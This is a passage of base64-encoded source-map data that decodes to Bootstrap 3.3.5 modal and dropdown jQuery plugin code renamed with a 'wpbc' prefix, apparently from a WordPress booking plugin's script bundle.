lLmVzY2FwZSA9IGZ1bmN0aW9uICgpIHtcclxuICAgIGlmICh0aGlzLmlzU2hvd24gJiYgdGhpcy5vcHRpb25zLmtleWJvYXJkKSB7XHJcbiAgICAgIHRoaXMuJGVsZW1lbnQub24oJ2tleWRvd24uZGlzbWlzcy53cGJjLm1vZGFsJywgJC5wcm94eShmdW5jdGlvbiAoZSkge1xyXG4gICAgICAgIGUud2hpY2ggPT0gMjcgJiYgdGhpcy5oaWRlKClcclxuICAgICAgfSwgdGhpcykpXHJcbiAgICB9IGVsc2UgaWYgKCF0aGlzLmlzU2hvd24pIHtcclxuICAgICAgdGhpcy4kZWxlbWVudC5vZmYoJ2tleWRvd24uZGlzbWlzcy53cGJjLm1vZGFsJylcclxuICAgIH1cclxuICB9XHJcblxyXG4gIE1vZGFsLnByb3RvdHlwZS5yZXNpemUgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICBpZiAodGhpcy5pc1Nob3duKSB7XHJcbiAgICAgICQod2luZG93KS5vbigncmVzaXplLndwYmMubW9kYWwnLCAkLnByb3h5KHRoaXMuaGFuZGxlVXBkYXRlLCB0aGlzKSlcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICQod2luZG93KS5vZmYoJ3Jlc2l6ZS53cGJjLm1vZGFsJylcclxuICAgIH1cclxuICB9XHJcblxyXG4gIE1vZGFsLnByb3RvdHlwZS5oaWRlTW9kYWwgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICB2YXIgdGhhdCA9IHRoaXNcclxuICAgIHRoaXMuJGVsZW1lbnQuaGlkZSgpXHJcbiAgICB0aGlzLmJhY2tkcm9wKGZ1bmN0aW9uICgpIHtcclxuICAgICAgdGhhdC4kYm9keS5yZW1vdmVDbGFzcygnbW9kYWwtb3BlbicpXHJcbiAgICAgIHRoYXQucmVzZXRBZGp1c3RtZW50cygpXHJcbiAgICAgIHRoYXQucmVzZXRTY3JvbGxiYXIoKVxyXG4gICAgICB0aGF0LiRlbGVtZW50LnRyaWdnZXIoJ2hpZGRlbi53cGJjLm1vZGFsJylcclxuICAgIH0pXHJcbiAgfVxyXG5cclxuICBNb2RhbC5wcm90b3R5cGUucmVtb3ZlQmFja2Ryb3AgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICB0aGlzLiRiYWNrZHJvcCAmJiB0aGlzLiRiYWNrZHJvcC5yZW1vdmUoKVxyXG4gICAgdGhpcy4kYmFja2Ryb3AgPSBudWxsXHJcbiAgfVxyXG5cclxuICBNb2RhbC5wcm90b3R5cGUuYmFja2Ryb3AgPSBmdW5jdGlvbiAoY2FsbGJhY2spIHtcclxuICAgIHZhciB0aGF0ID0gdGhpc1xyXG4gICAgdmFyIGFuaW1hdGUgPSB0aGlzLiRlbGVtZW50Lmhhc0NsYXNzKCdmYWRlJykgPyAnZmFkZScgOiAnJ1xyXG5cclxuICAgIGlmICh0aGlzLmlzU2hvd24gJiYgdGhpcy5vcHRpb25zLmJhY2tkcm9wKSB7XHJcbiAgICAgIHZhciBkb0FuaW1hdGUgPSAkLnN1cHBvcnQudHJhbnNpdGlvbiAmJiBhbmltYXRlXHJcblxyXG4gICAgICB0aGlzLiRiYWNrZHJvcCA9ICQoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2JykpXHJcbiAgICAgICAgLmFkZENsYXNzKCdtb2RhbC1iYWNrZHJvcCAnICsgYW5pbWF0ZSlcclxuICAgICAgICAuYXBwZW5kVG8odGhpcy4kYm9keSlcclxuXHJcbiAgICAgIHRoaXMuJGVsZW1lbnQub24oJ2NsaWNrLmRpc21pc3Mud3BiYy5tb2RhbCcsICQucHJveHkoZnVuY3Rpb24gKGUpIHtcclxuICAgICAgICBpZiAodGhpcy5pZ25vcmVCYWNrZHJvcENsaWNrKSB7XHJcbiAgICAgICAgICB0aGlzLmlnbm9yZUJhY2tkcm9wQ2xpY2sgPSBmYWxzZVxyXG4gICAgICAgICAgcmV0dXJuXHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmIChlLnRhcmdldCAhPT0gZS5jdXJyZW50VGFyZ2V0KSByZXR1cm5cclxuICAgICAgICB0aGlzLm9wdGlvbnMuYmFja2Ryb3AgPT0gJ3N0YXRpYydcclxuICAgICAgICAgID8gdGhpcy4kZWxlbWVudFswXS5mb2N1cygpXHJcbiAgICAgICAgICA6IHRoaXMuaGlkZSgpXHJcbiAgICAgIH0sIHRoaXMpKVxyXG5cclxuICAgICAgaWYgKGRvQW5pbWF0ZSkgdGhpcy4kYmFja2Ryb3BbMF0ub2Zmc2V0V2lkdGggLy8gZm9yY2UgcmVmbG93XHJcblxyXG4gICAgICB0aGlzLiRiYWNrZHJvcC5hZGRDbGFzcygnaW4nKVxyXG5cclxuICAgICAgaWYgKCFjYWxsYmFjaykgcmV0dXJuXHJcblxyXG4gICAgICBkb0FuaW1hdGUgP1xyXG4gICAgICAgIHRoaXMuJGJhY2tkcm9wXHJcbiAgICAgICAgICAub25lKCdic1RyYW5zaXRpb25FbmQnLCBjYWxsYmFjaylcclxuICAgICAgICAgIC5lbXVsYXRlVHJhbnNpdGlvbkVuZChNb2RhbC5CQUNLRFJPUF9UUkFOU0lUSU9OX0RVUkFUSU9OKSA6XHJcbiAgICAgICAgY2FsbGJhY2soKVxyXG5cclxuICAgIH0gZWxzZSBpZiAoIXRoaXMuaXNTaG93biAmJiB0aGlzLiRiYWNrZHJvcCkge1xyXG4gICAgICB0aGlzLiRiYWNrZHJvcC5yZW1vdmVDbGFzcygnaW4nKVxyXG5cclxuICAgICAgdmFyIGNhbGxiYWNrUmVtb3ZlID0gZnVuY3Rpb24gKCkge1xyXG4gICAgICAgIHRoYXQucmVtb3ZlQmFja2Ryb3AoKVxyXG4gICAgICAgIGNhbGxiYWNrICYmIGNhbGxiYWNrKClcclxuICAgICAgfVxyXG4gICAgICAkLnN1cHBvcnQudHJhbnNpdGlvbiAmJiB0aGlzLiRlbGVtZW50Lmhhc0NsYXNzKCdmYWRlJykgP1xyXG4gICAgICAgIHRoaXMuJGJhY2tkcm9wXHJcbiAgICAgICAgICAub25lKCdic1RyYW5zaXRpb25FbmQnLCBjYWxsYmFja1JlbW92ZSlcclxuICAgICAgICAgIC5lbXVsYXRlVHJhbnNpdGlvbkVuZChNb2RhbC5CQUNLRFJPUF9UUkFOU0lUSU9OX0RVUkFUSU9OKSA6XHJcbiAgICAgICAgY2FsbGJhY2tSZW1vdmUoKVxyXG5cclxuICAgIH0gZWxzZSBpZiAoY2FsbGJhY2spIHtcclxuICAgICAgY2FsbGJhY2soKVxyXG4gICAgfVxyXG4gIH1cclxuXHJcbiAgLy8gdGhlc2UgZm9sbG93aW5nIG1ldGhvZHMgYXJlIHVzZWQgdG8gaGFuZGxlIG92ZXJmbG93aW5nIG1vZGFsc1xyXG5cclxuICBNb2RhbC5wcm90b3R5cGUuaGFuZGxlVXBkYXRlID0gZnVuY3Rpb24gKCkge1xyXG4gICAgdGhpcy5hZGp1c3REaWFsb2coKVxyXG4gIH1cclxuXHJcbiAgTW9kYWwucHJvdG90eXBlLmFkanVzdERpYWxvZyA9IGZ1bmN0aW9uICgpIHtcclxuICAgIHZhciBtb2RhbElzT3ZlcmZsb3dpbmcgPSB0aGlzLiRlbGVtZW50WzBdLnNjcm9sbEhlaWdodCA+IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHRcclxuXHJcbiAgICB0aGlzLiRlbGVtZW50LmNzcyh7XHJcbiAgICAgIHBhZGRpbmdMZWZ0OiAgIXRoaXMuYm9keUlzT3ZlcmZsb3dpbmcgJiYgbW9kYWxJc092ZXJmbG93aW5nID8gdGhpcy5zY3JvbGxiYXJXaWR0aCA6ICcnLFxyXG4gICAgICBwYWRkaW5nUmlnaHQ6IHRoaXMuYm9keUlzT3ZlcmZsb3dpbmcgJiYgIW1vZGFsSXNPdmVyZmxvd2luZyA/IHRoaXMuc2Nyb2xsYmFyV2lkdGggOiAnJ1xyXG4gICAgfSlcclxuICB9XHJcblxyXG4gIE1vZGFsLnByb3RvdHlwZS5yZXNldEFkanVzdG1lbnRzID0gZnVuY3Rpb24gKCkge1xyXG4gICAgdGhpcy4kZWxlbWVudC5jc3Moe1xyXG4gICAgICBwYWRkaW5nTGVmdDogJycsXHJcbiAgICAgIHBhZGRpbmdSaWdodDogJydcclxuICAgIH0pXHJcbiAgfVxyXG5cclxuICBNb2RhbC5wcm90b3R5cGUuY2hlY2tTY3JvbGxiYXIgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICB2YXIgZnVsbFdpbmRvd1dpZHRoID0gd2luZG93LmlubmVyV2lkdGhcclxuICAgIGlmICghZnVsbFdpbmRvd1dpZHRoKSB7IC8vIHdvcmthcm91bmQgZm9yIG1pc3Npbmcgd2luZG93LmlubmVyV2lkdGggaW4gSUU4XHJcbiAgICAgIHZhciBkb2N1bWVudEVsZW1lbnRSZWN0ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpXHJcbiAgICAgIGZ1bGxXaW5kb3dXaWR0aCA9IGRvY3VtZW50RWxlbWVudFJlY3QucmlnaHQgLSBNYXRoLmFicyhkb2N1bWVudEVsZW1lbnRSZWN0LmxlZnQpXHJcbiAgICB9XHJcbiAgICB0aGlzLmJvZHlJc092ZXJmbG93aW5nID0gZG9jdW1lbnQuYm9keS5jbGllbnRXaWR0aCA8IGZ1bGxXaW5kb3dXaWR0aFxyXG4gICAgdGhpcy5zY3JvbGxiYXJXaWR0aCA9IHRoaXMubWVhc3VyZVNjcm9sbGJhcigpXHJcbiAgfVxyXG5cclxuICBNb2RhbC5wcm90b3R5cGUuc2V0U2Nyb2xsYmFyID0gZnVuY3Rpb24gKCkge1xyXG4gICAgdmFyIGJvZHlQYWQgPSBwYXJzZUludCgodGhpcy4kYm9keS5jc3MoJ3BhZGRpbmctcmlnaHQnKSB8fCAwKSwgMTApXHJcbiAgICB0aGlzLm9yaWdpbmFsQm9keVBhZCA9IGRvY3VtZW50LmJvZHkuc3R5bGUucGFkZGluZ1JpZ2h0IHx8ICcnXHJcbiAgICBpZiAodGhpcy5ib2R5SXNPdmVyZmxvd2luZykgdGhpcy4kYm9keS5jc3MoJ3BhZGRpbmctcmlnaHQnLCBib2R5UGFkICsgdGhpcy5zY3JvbGxiYXJXaWR0aClcclxuICB9XHJcblxyXG4gIE1vZGFsLnByb3RvdHlwZS5yZXNldFNjcm9sbGJhciA9IGZ1bmN0aW9uICgpIHtcclxuICAgIHRoaXMuJGJvZHkuY3NzKCdwYWRkaW5nLXJpZ2h0JywgdGhpcy5vcmlnaW5hbEJvZHlQYWQpXHJcbiAgfVxyXG5cclxuICBNb2RhbC5wcm90b3R5cGUubWVhc3VyZVNjcm9sbGJhciA9IGZ1bmN0aW9uICgpIHsgLy8gdGh4IHdhbHNoXHJcbiAgICB2YXIgc2Nyb2xsRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2JylcclxuICAgIHNjcm9sbERpdi5jbGFzc05hbWUgPSAnbW9kYWwtc2Nyb2xsYmFyLW1lYXN1cmUnXHJcbiAgICB0aGlzLiRib2R5LmFwcGVuZChzY3JvbGxEaXYpXHJcbiAgICB2YXIgc2Nyb2xsYmFyV2lkdGggPSBzY3JvbGxEaXYub2Zmc2V0V2lkdGggLSBzY3JvbGxEaXYuY2xpZW50V2lkdGhcclxuICAgIHRoaXMuJGJvZHlbMF0ucmVtb3ZlQ2hpbGQoc2Nyb2xsRGl2KVxyXG4gICAgcmV0dXJuIHNjcm9sbGJhcldpZHRoXHJcbiAgfVxyXG5cclxuXHJcbiAgLy8gTU9EQUwgUExVR0lOIERFRklOSVRJT05cclxuICAvLyA9PT09PT09PT09PT09PT09PT09PT09PVxyXG5cclxuICBmdW5jdGlvbiBQbHVnaW4ob3B0aW9uLCBfcmVsYXRlZFRhcmdldCkge1xyXG4gICAgcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbiAoKSB7XHJcbiAgICAgIHZhciAkdGhpcyAgID0gJCh0aGlzKVxyXG4gICAgICB2YXIgZGF0YSAgICA9ICR0aGlzLmRhdGEoJ3dwYmMubW9kYWwnKVxyXG4gICAgICB2YXIgb3B0aW9ucyA9ICQuZXh0ZW5kKHt9LCBNb2RhbC5ERUZBVUxUUywgJHRoaXMuZGF0YSgpLCB0eXBlb2Ygb3B0aW9uID09ICdvYmplY3QnICYmIG9wdGlvbilcclxuXHJcbiAgICAgIGlmICghZGF0YSkgJHRoaXMuZGF0YSgnd3BiYy5tb2RhbCcsIChkYXRhID0gbmV3IE1vZGFsKHRoaXMsIG9wdGlvbnMpKSlcclxuICAgICAgaWYgKHR5cGVvZiBvcHRpb24gPT0gJ3N0cmluZycpIGRhdGFbb3B0aW9uXShfcmVsYXRlZFRhcmdldClcclxuICAgICAgZWxzZSBpZiAob3B0aW9ucy5zaG93KSBkYXRhLnNob3coX3JlbGF0ZWRUYXJnZXQpXHJcbiAgICB9KVxyXG4gIH1cclxuXHJcbiAgdmFyIG9sZCA9ICQuZm4ud3BiY19teV9tb2RhbFxyXG5cclxuICAkLmZuLndwYmNfbXlfbW9kYWwgICAgICAgICAgICAgPSBQbHVnaW5cclxuICAkLmZuLndwYmNfbXlfbW9kYWwuQ29uc3RydWN0b3IgPSBNb2RhbFxyXG5cclxuXHJcbiAgLy8gTU9EQUwgTk8gQ09ORkxJQ1RcclxuICAvLyA9PT09PT09PT09PT09PT09PVxyXG5cclxuICAkLmZuLndwYmNfbXlfbW9kYWwubm9Db25mbGljdCA9IGZ1bmN0aW9uICgpIHtcclxuICAgICQuZm4ud3BiY19teV9tb2RhbCA9IG9sZFxyXG4gICAgcmV0dXJuIHRoaXNcclxuICB9XHJcblxyXG5cclxuICAvLyBNT0RBTCBEQVRBLUFQSVxyXG4gIC8vID09PT09PT09PT09PT09XHJcblxyXG4gICQoZG9jdW1lbnQpLm9uKCdjbGljay53cGJjLm1vZGFsLmRhdGEtYXBpJywgJ1tkYXRhLXRvZ2dsZT1cIndwYmNfbXlfbW9kYWxcIl0nLCBmdW5jdGlvbiAoZSkge1xyXG4gICAgdmFyICR0aGlzICAgPSAkKHRoaXMpXHJcbiAgICB2YXIgaHJlZiAgICA9ICR0aGlzLmF0dHIoJ2hyZWYnKVxyXG4gICAgdmFyICR0YXJnZXQgPSAkKCR0aGlzLmF0dHIoJ2RhdGEtdGFyZ2V0JykgfHwgKGhyZWYgJiYgaHJlZi5yZXBsYWNlKC8uKig/PSNbXlxcc10rJCkvLCAnJykpKSAvLyBzdHJpcCBmb3IgaWU3XHJcbiAgICB2YXIgb3B0aW9uICA9ICR0YXJnZXQuZGF0YSgnd3BiYy5tb2RhbCcpID8gJ3RvZ2dsZScgOiAkLmV4dGVuZCh7IHJlbW90ZTogIS8jLy50ZXN0KGhyZWYpICYmIGhyZWYgfSwgJHRhcmdldC5kYXRhKCksICR0aGlzLmRhdGEoKSlcclxuXHJcbiAgICBpZiAoJHRoaXMuaXMoJ2EnKSkgZS5wcmV2ZW50RGVmYXVsdCgpXHJcblxyXG4gICAgJHRhcmdldC5vbmUoJ3Nob3cud3BiYy5tb2RhbCcsIGZ1bmN0aW9uIChzaG93RXZlbnQpIHtcclxuICAgICAgaWYgKHNob3dFdmVudC5pc0RlZmF1bHRQcmV2ZW50ZWQoKSkgcmV0dXJuIC8vIG9ubHkgcmVnaXN0ZXIgZm9jdXMgcmVzdG9yZXIgaWYgbW9kYWwgd2lsbCBhY3R1YWxseSBnZXQgc2hvd25cclxuICAgICAgJHRhcmdldC5vbmUoJ2hpZGRlbi53cGJjLm1vZGFsJywgZnVuY3Rpb24gKCkge1xyXG4gICAgICAgICR0aGlzLmlzKCc6dmlzaWJsZScpICYmICR0aGlzLnRyaWdnZXIoJ2ZvY3VzJylcclxuICAgICAgfSlcclxuICAgIH0pXHJcbiAgICBQbHVnaW4uY2FsbCgkdGFyZ2V0LCBvcHRpb24sIHRoaXMpXHJcbiAgfSlcclxuXHJcbn0oalF1ZXJ5KTtcclxuXHJcblxyXG4rZnVuY3Rpb24gKCQpIHtcclxuICAndXNlIHN0cmljdCc7XHJcblxyXG4gIC8vIERST1BET1dOIENMQVNTIERFRklOSVRJT05cclxuICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09XHJcblxyXG4gIHZhciBiYWNrZHJvcCA9ICcuZHJvcGRvd24tYmFja2Ryb3AnXHJcbiAgdmFyIHRvZ2dsZSAgID0gJ1tkYXRhLXRvZ2dsZT1cIndwYmNfZHJvcGRvd25cIl0nXHJcbiAgdmFyIERyb3Bkb3duID0gZnVuY3Rpb24gKGVsZW1lbnQpIHtcclxuICAgICQoZWxlbWVudCkub24oJ2NsaWNrLndwYmMuZHJvcGRvd24nLCB0aGlzLnRvZ2dsZSlcclxuICB9XHJcblxyXG4gIERyb3Bkb3duLlZFUlNJT04gPSAnMy4zLjUnXHJcblxyXG4gIGZ1bmN0aW9uIGdldFBhcmVudCgkdGhpcykge1xyXG4gICAgdmFyIHNlbGVjdG9yID0gJHRoaXMuYXR0cignZGF0YS10YXJnZXQnKVxyXG5cclxuICAgIGlmICghc2VsZWN0b3IpIHtcclxuICAgICAgc2VsZWN0b3IgPSAkdGhpcy5hdHRyKCdocmVmJylcclxuICAgICAgc2VsZWN0b3IgPSBzZWxlY3RvciAmJiAvI1tBLVphLXpdLy50ZXN0KHNlbGVjdG9yKSAmJiBzZWxlY3Rvci5yZXBsYWNlKC8uKig/PSNbXlxcc10qJCkvLCAnJykgLy8gc3RyaXAgZm9yIGllN1xyXG4gICAgfVxyXG5cclxuICAgIHZhciAkcGFyZW50ID0gc2VsZWN0b3IgJiYgJChzZWxlY3RvcilcclxuXHJcbiAgICByZXR1cm4gJHBhcmVudCAmJiAkcGFyZW50Lmxlbmd0aCA/ICRwYXJlbnQgOiAkdGhpcy5wYXJlbnQoKVxyXG4gIH1cclxuXHJcbiAgZnVuY3Rpb24gY2xlYXJNZW51cyhlKSB7XHJcbiAgICBpZiAoZSAmJiBlLndoaWNoID09PSAzKSByZXR1cm5cclxuICAgICQoYmFja2Ryb3ApLnJlbW92ZSgpXHJcbiAgICAkKHRvZ2dsZSkuZWFjaChmdW5jdGlvbiAoKSB7XHJcbiAgICAgIHZhciAkdGhpcyAgICAgICAgID0gJCh0aGlzKVxyXG4gICAgICB2YXIgJHBhcmVudCAgICAgICA9IGdldFBhcmVudCgkdGhpcylcclxuICAgICAgdmFyIHJlbGF0ZWRUYXJnZXQgPSB7IHJlbGF0ZWRUYXJnZXQ6IHRoaXMgfVxyXG5cclxuICAgICAgaWYgKCEkcGFyZW50Lmhhc0NsYXNzKCdvcGVuJykpIHJldHVyblxyXG5cclxuICAgICAgaWYgKGUgJiYgZS50eXBlID09ICdjbGljaycgJiYgL2lucHV0fHRleHRhcmVhL2kudGVzdChlLnRhcmdldC50YWdOYW1lKSAmJiAkLmNvbnRhaW5zKCRwYXJlbnRbMF0sIGUudGFyZ2V0KSkgcmV0dXJuXHJcblxyXG4gICAgICAkcGFyZW50LnRyaWdnZXIoZSA9ICQuRXZlbnQoJ2hpZGUud3BiYy5kcm9wZG93bicsIHJlbGF0ZWRUYXJnZXQpKVxyXG5cclxuICAgICAgaWYgKGUuaXNEZWZhdWx0UHJldmVudGVkKCkpIHJldHVyblxyXG5cclxuICAgICAgJHRoaXMuYXR0cignYXJpYS1leHBhbmRlZCcsICdmYWxzZScpXHJcbiAgICAgICRwYXJlbnQucmVtb3ZlQ2xhc3MoJ29wZW4nKS50cmlnZ2VyKCdoaWRkZW4ud3BiYy5kcm9wZG93bicsIHJlbGF0ZWRUYXJnZXQpXHJcbiAgICB9KVxyXG4gIH1cclxuXHJcbiAgRHJvcGRvd24ucHJvdG90eXBlLnRvZ2dsZSA9IGZ1bmN0aW9uIChlKSB7XHJcbiAgICB2YXIgJHRoaXMgPSAkKHRoaXMpXHJcblxyXG4gICAgaWYgKCR0aGlzLmlzKCcuZGlzYWJsZWQsIDpkaXNhYmxlZCcpKSByZXR1cm5cclxuXHJcbiAgICB2YXIgJHBhcmVudCAgPSBnZXRQYXJlbnQoJHRoaXMpXHJcbiAgICB2YXIgaXNBY3RpdmUgPSAkcGFyZW50Lmhhc0NsYXNzKCdvcGVuJylcclxuXHJcbiAgICBjbGVhck1lbnVzKClcclxuXHJcbiAgICBpZiAoIWlzQWN0aXZlKSB7XHJcbiAgICAgIGlmICgnb250b3VjaHN0YXJ0JyBpbiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQgJiYgISRwYXJlbnQuY2xvc2VzdCgnLm5hdmJhci1uYXYnKS5sZW5ndGgpIHtcclxuICAgICAgICAvLyBpZiBtb2JpbGUgd2UgdXNlIGEgYmFja2Ryb3AgYmVjYXVzZSBjbGljayBldmVudHMgZG9uJ3QgZGVsZWdhdGVcclxuICAgICAgICAkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpKVxyXG4gICAgICAgICAgLmFkZENsYXNzKCdkcm9wZG93bi1iYWNrZHJvcCcpXHJcbiAgICAgICAgICAuaW5zZXJ0QWZ0ZXIoJCh0aGlzKSlcclxuICAgICAgICAgIC5vbignY2xpY2snLCBjbGVhck1lbnVzKVxyXG4gICAgICB9XHJcblxyXG4gICAgICB2YXIgcmVsYXRlZFRhcmdldCA9IHsgcmVsYXRlZFRhcmdldDogdGhpcyB9XHJcbiAgICAgICRwYXJlbnQudHJpZ2dlcihlID0gJC5FdmVudCgnc2hvdy53cGJjLmRyb3Bkb3duJywgcmVsYXRlZFRhcmdldCkpXHJcblxyXG4gICAgICBpZiAoZS5pc0RlZmF1bHRQcmV2ZW50ZWQoKSkgcmV0dXJuXHJcblxyXG4gICAgICAkdGhpc1xyXG4gICAgICAgIC50cmlnZ2VyKCdmb2N1cycpXHJcbiAgICAgICAgLmF0dHIoJ2FyaWEtZXhwYW5kZWQnLCAndHJ1ZScpXHJcblxyXG4gICAgICAkcGFyZW50XHJcbiAgICAgICAgLnRvZ2dsZUNsYXNzKCdvcGVuJylcclxuICAgICAgICAudHJpZ2dlcignc2hvd24ud3BiYy5kcm9wZG93bicsIHJlbGF0ZWRUYXJnZXQpXHJcbiAgICB9XHJcblxyXG4gICAgcmV0dXJuIGZhbHNlXHJcbiAgfVxyXG5cclxuICBEcm9wZG93bi5wcm90b3R5cGUua2V5ZG93biA9IGZ1bmN0aW9uIChlKSB7XHJcbiAgICBpZiAoIS8oMzh8NDB8Mjd8MzIpLy50ZXN0KGUud2hpY2gpIHx8IC9pbnB1dHx0ZXh0YXJlYS9pLnRlc3QoZS50YXJnZXQudGFnTmFtZSkpIHJldHVyblxyXG5cclxuICAgIHZhciAkdGhpcyA9ICQodGhpcylcclxuXHJcbiAgICBlLnByZXZlbnREZWZhdWx0KClcclxuICAgIGUuc3RvcFByb3BhZ2F0aW9uKClcclxuXHJcbiAgICBpZiAoJHRoaXMuaXMoJy5kaXNhYmxlZCwgOmRpc2FibGVkJykpIHJldHVyblxyXG5cclxuICAgIHZhciAkcGFyZW50ICA9IGdldFBhcmVudCgkdGhpcylcclxuICAgIHZhciBpc0FjdGl2ZSA9ICRwYXJlbnQuaGFzQ2xhc3MoJ29wZW4nKVxyXG5cclxuICAgIGlmICghaXNBY3RpdmUgJiYgZS53aGljaCAhPSAyNyB8fCBpc0FjdGl2ZSAmJiBlLndoaWNoID09IDI3KSB7XHJcbiAgICAgIGlmIChlLndoaWNoID09IDI3KSAkcGFyZW50LmZpbmQodG9nZ2xlKS50cmlnZ2VyKCdmb2N1cycpXHJcbiAgICAgIHJldHVybiAkdGhpcy50cmlnZ2VyKCdjbGljaycpXHJcbiAgICB9XHJcblxyXG4gICAgdmFyIGRlc2MgPSAnIGxpOm5vdCguZGlzYWJsZWQpOnZpc2libGUgYSdcclxuICAgIHZhciAkaXRlbXMgPSAkcGFyZW50LmZpbmQoJy5kcm9wZG93bi1tZW51JyArIGRlc2MgKyAnLC51aV9kcm9wZG93bl9tZW51JyArIGRlc2MpXHJcblxyXG4gICAgaWYgKCEkaXRlbXMubGVuZ3RoKSByZXR1cm5cclxuXHJcbiAgICB2YXIgaW5kZXggPSAkaXRlbXMuaW5kZXgoZS50YXJnZXQpXHJcblxyXG4gICAgaWYgKGUud2hpY2ggPT0gMzggJiYgaW5kZXggPiAwKSAgICAgICAgICAgICAgICAgaW5kZXgtLSAgICAgICAgIC8vIHVwXHJcbiAgICBpZiAoZS53aGljaCA9PSA0MCAmJiBpbmRleCA8ICRpdGVtcy5sZW5ndGggLSAxKSBpbmRleCsrICAgICAgICAgLy8gZG93blxyXG4gICAgaWYgKCF+aW5kZXgpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5kZXggPSAwXHJcblxyXG4gICAgJGl0ZW1zLmVxKGluZGV4KS50cmlnZ2VyKCdmb2N1cycpXHJcbiAgfVxyXG5cclxuXHJcbiAgLy8gRFJPUERPV04gUExVR0lOIERFRklOSVRJT05cclxuICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG5cclxuICBmdW5jdGlvbiBQbHVnaW4ob3B0aW9uKSB7XHJcbiAgICByZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uICgpIHtcclxuICAgICAgdmFyICR0aGlzID0gJCh0aGlzKVxyXG4gICAgICB2YXIgZGF0YSAgPSAkdGhpcy5kYXRhKCd3cGJjLmRyb3Bkb3duJylcclxuXHJcbiAgICAgIGlmICghZGF0YSkgJHRoaXMuZGF0YSgnd3BiYy5kcm9wZG93bicsIChkYXRhID0gbmV3IERyb3Bkb3duKHRoaXMpKSlcclxuICAgICAgaWYgKHR5cGVvZiBvcHRpb24gPT0gJ3N0cmluZycpIGRhdGFbb3B0aW9uXS5jYWxsKCR0aGlzKVxyXG4gICAgfSlcclxuICB9XHJcblxyXG4gIHZhciBvbGQgPSAkLmZuLndwYmNfZHJvcGRvd25cclxuXHJcbiAgJC5mbi53cGJjX2Ryb3Bkb3duICAgICAgICAgICAgID0gUGx1Z2luXHJcbiAgJC5mbi53cGJjX2Ryb3Bkb3duLkNvbnN0cnVjdG9yID0gRHJvcGRvd25cclxuXHJcblxyXG4gIC8vIERST1BET1dOIE5PIENPTkZMSUNUXHJcbiAgLy8gPT09PT09PT09PT09PT09PT09PT1cclxuXHJcbiAgJC5mbi53cGJjX2Ryb3Bkb3duLm5vQ29uZmxpY3QgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICAkLmZuLndwYmNfZHJvcGRvd24gPSBvbGRcclxuICAgIHJldHVybiB0aGlzXHJcbiAgfVxyXG5cclxuXHJcbiAgLy8gQVBQTFkgVE8gU1RBTkRBUkQgRFJPUERPV04gRUxFTUVOVFNcclxuICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG5cclxuICAkKGRvY3VtZW50KVxyXG4gICAgLm9uKCdjbGljay53cGJjLmRyb3Bkb3duLmRhdGEtYXBpJywgY2xlYXJNZW51cylcclxuICAgIC5vbignY2xpY2sud3BiYy5kcm9wZG93bi5kYXRhLWFwaScsICcuZHJvcGRvd24gZm9ybScsIGZ1bmN0aW9uIChlKSB7IGUuc3RvcFByb3BhZ2F0aW9uKCkgfSlcclxuICAgIC5vbignY2xpY2sud3BiYy5kcm9wZG93bi5kYXRhLWFwaScsIHRvZ2dsZSwgRHJvcGRvd24ucHJvdG90eXBlLnRvZ2dsZSlcclxuICAgIC5vbigna2V5ZG93bi53cGJjLmRyb3Bkb3duLmRhdGEtYXBpJywgdG9nZ2xlLCBEcm9wZG93bi5wcm90b3R5cGUua2V5ZG93bilcclxuICAgIC5vbigna2V5ZG93bi53cGJjLmRyb3Bkb3duLmRhdGEtYXBpJywgJy5kcm9wZG93bi1tZW51JywgRHJvcGRvd24ucHJvdG90eXBlLmtleWRvd24pXHJcbiAgICAub24oJ2tleWRvd24ud3BiYy5kcm9wZG93bi5kYXRhLWFwaScsICcudWlfZHJvcGRvd25fbWVudScsIERyb3Bkb3duLnByb3RvdHlwZS5rZXlkb3duKVxyXG5cclxufShqUXVlcnkpO1xyXG4iXSwibWFwcGluZ3MiOiI7OztBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsSUFBSSxPQUFPQSxNQUFNLEtBQUssV0FBVyxFQUFFO0VBQ2pDLE1BQU0sSUFBSUMsS0FBSyxDQUFDLHlDQUF5QyxDQUFDO0FBQzVEO0FBQ0EsQ0FBQyxVQUFVQyxDQUFDLEVBQUU7RUFDWixZQUFZOztFQUNaLElBQUlDLE9BQU8sR0FBR0QsQ0FBQyxDQUFDRSxFQUFFLENBQUNDLE1BQU0sQ0FBQ0MsS0FBSyxDQUFDLEdBQUcsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDQSxLQUFLLENBQUMsR0FBRyxDQUFDO0VBQ2xELElBQUtILE9BQU8sQ0FBQyxDQUFDLENBQUMsR0FBRyxDQUFDLElBQUlBLE9BQU8sQ0FBQyxDQUFDLENBQUMsR0FBRyxDQUFDLElBQU1BLE9BQU8sQ0FBQyxDQUFDLENBQUMsSUFBSSxDQUFDLElBQUlBLE9BQU8sQ0FBQyxDQUFDLENBQUMsSUFBSSxDQUFDLElBQUlBLE9BQU8sQ0FBQyxDQUFDLENBQUMsR0FBRyxDQUFFLEVBQUU7SUFDaEcsTUFBTSxJQUFJRixLQUFLLENBQUMsaUVBQWlFLENBQUM7RUFDcEY7QUFDRixDQUFDLENBQUNELE1BQU0sQ0FBQzs7QUFFVDtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTs7QUFHQSxDQUFDLFVBQVVFLENBQUMsRUFBRTtF